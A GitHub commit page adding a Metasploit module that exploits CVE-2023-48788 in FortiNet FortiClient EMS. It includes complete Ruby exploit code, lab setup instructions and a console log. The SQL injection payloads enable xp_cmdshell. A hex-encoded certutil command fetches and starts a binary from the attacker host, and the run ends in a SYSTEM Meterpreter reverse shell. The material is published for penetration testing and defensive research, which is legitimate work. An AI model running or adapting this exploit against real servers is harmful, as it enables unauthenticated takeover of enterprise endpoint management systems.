-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19082, FortiNet FortiClient EMS SQLi to RCE [CVE-2023-48788]
- Loading branch information
Showing
2 changed files
with
339 additions
and
0 deletions.
There are no files selected for viewing
145 changes: 145 additions & 0 deletions
145
documentation/modules/exploit/windows/http/forticlient_ems_fctid_sqli.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,145 @@ | ||
## Vulnerable Application | ||
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). | ||
FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized | ||
platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which | ||
can be sent directly into database queries. | ||
|
||
FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 | ||
and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. | ||
In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable | ||
SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code | ||
execution in the context of NT AUTHORITY\SYSTEM | ||
|
||
Affected versions of FortiClient EMS include: | ||
7.2.0 through 7.2.2 | ||
7.0.1 through 7.0.10 | ||
|
||
Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. | ||
|
||
It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient | ||
EMS for the necessary vulnerable services to be available. | ||
|
||
### Setup | ||
You'll need two Windows hosts. One domain controller and one Windows 10 host (a domain controller might not be 100% | ||
necessary however I used one and if you choose not to, your installation mileage may vary). The Windows 10 host will eventually | ||
install the FortiClient EMS Client and will be managed by our FortiClient EMS Server to enable the services required | ||
to exploit this vulnerability on the EMS Server. On the Windows 10 host set the the following Services to the following Startup Types: | ||
- Task Scheduler: Automatic | ||
- Windows Installer: Manual | ||
- Remote Registry: Automatic | ||
|
||
Then either disable Windows Firewall completely or configure to allow the following inbound connections: | ||
- File and Printer Sharing (SMB-In) | ||
- Remote Scheduled Tasks Management (RPC) | ||
|
||
Now on the domain controller download the installer `FortiClientEndpointManagementServer_7.0.7.0398_x64.exe`. You will need | ||
a FortiNet account to request a free trial. | ||
|
||
On the domain controller launch the installer. When it completes within the application you will be presented with a sign in page. | ||
Enter username: "admin" with a blank password and click "Sign in" - this will prompt you to create a new password for the admin user. | ||
Then authenticate with the new password. | ||
A pop up window reading: "We didn't find any licenses for this EMS..." click "Try Free" and sign in with your FortiNet | ||
account to request a free trial. | ||
|
||
Once FortiClient EMS has been launched, in the left hand side select System Settings > EMS Settings, then under Shared | ||
Settings select "Use FQDN" and input the domain controller's FQDN. Ensure the FQDN is accessible by pinging it from the cmdline. | ||
A pop up window reading: "The server will need to restart..." click "Yes". | ||
|
||
Scroll down to "EMS Settings". In the "FortiClient Download URL" replace the IP address with the domain controller's FQDN. | ||
Click save. | ||
|
||
Next select System Settings > FortiGuard Services under Cloud Services set the timezone your server is located in. | ||
Click Save. | ||
|
||
Under "Deployment & Installers" > "FortiClient Installer" on the right hand side select "Add". A pop up window will appear. | ||
|
||
For "Installer Type" select "Choose an official release". For "Release", choose 7.0 and for "Patch" choose 7.0.7 , click next. | ||
For "Name" input "FCT_707" click next. | ||
Keep all the defaults for the Features section and click next. | ||
Keep all the defaults for the Advanced section and click next and then click Finish. | ||
|
||
Now you should have a Deployment Package with a Download Link. Navigate to that download link on your Windows 10 host | ||
and download and install the .msi package. Once installed correctly you should see the Windows 10 host appear under the | ||
"Endpoint" tab in the EMS Server. FortiClient EMS Server should now be exploitable. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
1. Do: `use windows/http/forticlient_ems_fctid_sqli` | ||
1. Set the `RHOST` and `LHOST` options | ||
1. Run the module | ||
1. Receive a Meterpreter session running in the context of `NT AUTHORITY\SYSTEM` | ||
|
||
## Scenarios | ||
### FortiClient EMS 7.07.0398_x64 running on Windows Server 2019 (Domain Controller) | ||
``` | ||
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200 | ||
rhosts => 172.16.199.200 | ||
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1 | ||
lhost => 172.16.199.1 | ||
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options | ||
Module options (exploit/windows/http/forticlient_ems_fctid_sqli): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
RHOSTS 172.16.199.200 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 8013 yes The target port (TCP) | ||
VHOST no HTTP server virtual host | ||
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) | ||
FETCH_DELETE false yes Attempt to delete the binary after execution | ||
FETCH_FILENAME FqgyHVSnYd no Name to use on remote system when storing payload; cannot contain spaces or slashes | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. | ||
LHOST 172.16.199.1 yes The listen address (an interface may be specified) | ||
LPORT 8383 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Automatic Target | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > | ||
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run | ||
[*] Reloading module... | ||
[*] Started reverse TCP handler on 172.16.199.1:8383 | ||
[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable) | ||
[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully | ||
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully | ||
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully | ||
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully | ||
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully | ||
[*] Sending stage (201798 bytes) to 172.16.199.200 | ||
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75 | ||
726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025 | ||
54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully | ||
[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700 | ||
meterpreter > getuid | ||
syServer username: NT AUTHORITY\SYSTEM | ||
meterpreter > sysinfo | ||
Computer : DC2 | ||
OS : Windows Server 2019 (10.0 Build 17763). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : KERBEROS | ||
Logged On Users : 16 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` |
194 changes: 194 additions & 0 deletions
194
modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,194 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Remote::Tcp | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE', | ||
'Description' => %q{ | ||
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). | ||
FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized | ||
platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which | ||
can be sent directly into database queries. | ||
FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 | ||
and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. | ||
In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable | ||
SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code | ||
execution in the context of NT AUTHORITY\SYSTEM | ||
Affected versions of FortiClient EMS include: | ||
7.2.0 through 7.2.2 | ||
7.0.1 through 7.0.10 | ||
Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. | ||
It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient | ||
EMS for the necessary vulnerable services to be available. | ||
}, | ||
'Author' => [ | ||
'Zach Hanley', # Analysis & PoC | ||
'James Horseman', # Analysis & PoC | ||
'jheysel-r7', # Msf module | ||
'Spencer McIntyre' # Msf module assistance | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'], | ||
[ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'], | ||
[ 'CVE', '2023-48788'] | ||
], | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'win', | ||
'Privileged' => true, | ||
'Arch' => [ ARCH_CMD ], | ||
'Targets' => [ | ||
[ 'Automatic Target', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => '2024-04-21', | ||
'DefaultOptions' => { | ||
'SSL' => true, | ||
'RPORT' => 8013 | ||
}, | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE ], | ||
'SideEffects' => [ IOC_IN_LOGS ], | ||
'Reliability' => [ REPEATABLE_SESSION ] | ||
} | ||
) | ||
) | ||
end | ||
|
||
def get_register_info | ||
register_info = <<~REGISTER_INFO | ||
AVSIG_VER=1.00000 | ||
REG_KEY=_ | ||
EP_ONNETCHKSUM=0 | ||
AVENG_VER=6.00266 | ||
DHCP_SERVER=None | ||
FCTOS=WIN64 | ||
VULSIG_VER=1.00000 | ||
FCTVER=7.0.7.0345 | ||
APPSIG_VER=13.00364 | ||
USER=Administrator | ||
APPENG_VER=4.00082 | ||
AVALSIG_VER=0.00000 | ||
VULENG_VER=2.00032 | ||
OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763) | ||
COM_MODEL=VMware Virtual Platform | ||
RSENG_VER=1.00020 | ||
AV_PROTECTED=0 | ||
AVALENG_VER=0.00000 | ||
PEER_IP= | ||
ENABLED_FEATURE_BITMAP=49 | ||
EP_OFFNETCHKSUM=0 | ||
INSTALLED_FEATURE_BITMAP=158583 | ||
EP_CHKSUM=0 | ||
HIDDEN_FEATURE_BITMAP=155943 | ||
DISKENC= | ||
HOSTNAME=CYBER-RETQB1FLP | ||
AV_PRODUCT= | ||
FCT_SN=FCT8001638848651 | ||
INSTALLUID=#{Faker::Internet.uuid.upcase} | ||
NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0 | ||
UTC=1710271774 | ||
PC_DOMAIN= | ||
COM_MAN=VMware, Inc. | ||
CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz | ||
MEM=12287 | ||
HDD=99 | ||
COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82 | ||
DOMAIN= | ||
WORKGROUP=WORKGROUP | ||
USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500 | ||
GROUP_TAG= | ||
ADGUID= | ||
EP_FGTCHKSUM=0 | ||
EP_RULECHKSUM=0 | ||
WF_FILESCHKSUM=0 | ||
EP_APPCTRLCHKSUM=0 | ||
REGISTER_INFO | ||
Rex::Text.encode_base64(register_info) | ||
end | ||
|
||
def get_message(sqli) | ||
message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n" | ||
message << "IP=127.0.0.1\n" | ||
message << "MAC=#{Faker::Internet.mac_address}\n" | ||
message << "FCT_ONNET=0\n" | ||
message << "CAPS=32767\n" | ||
message << "VDOM=default\n" | ||
message << "EC_QUARANTINED=0\n" | ||
message << "SIZE= {SIZE_PLACEHOLDER}\n" | ||
message << "\n" | ||
message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n" | ||
message << 'X-FCCK-REGISTER-END' | ||
message << "\r\n" | ||
message << "\r\n" | ||
message.gsub!('{SQLI_PLACEHOLDER}', sqli) | ||
message_length = message.length | ||
message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length | ||
message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s) | ||
message | ||
end | ||
|
||
def send_message(sqli) | ||
message = get_message(sqli) | ||
vprint_status("Sending the following message: #{message}") | ||
|
||
buf = '' | ||
begin | ||
connect(true, { 'SSL' => true }) | ||
sock.put(message) | ||
buf = sock.get_once || '' | ||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e | ||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") | ||
ensure | ||
disconnect | ||
end | ||
vprint_status("The response received was: #{buf}") | ||
buf | ||
end | ||
|
||
def check | ||
res = send_message("' OR 1=1; --") | ||
return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL') | ||
return CheckCode::Safe if res.include?("The FCT record doesn't exist") | ||
|
||
CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted") | ||
end | ||
|
||
def exploit | ||
# Things to note: | ||
# 1. xp_cmdshell is disabled by default so first we must enable it. | ||
# 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing | ||
# attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL | ||
# before running the command with xp_command shell. | ||
# 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which | ||
# is when we expect the response to be empty. | ||
inject = [ | ||
"' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--", | ||
"' OR 1=1; reconfigure;--", | ||
"' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--", | ||
"' OR 1=1; reconfigure;--", | ||
"' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--", | ||
] | ||
inject.each do |sqli| | ||
if sqli == inject.last | ||
send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') | ||
else | ||
send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') | ||
end | ||
end | ||
end | ||
end |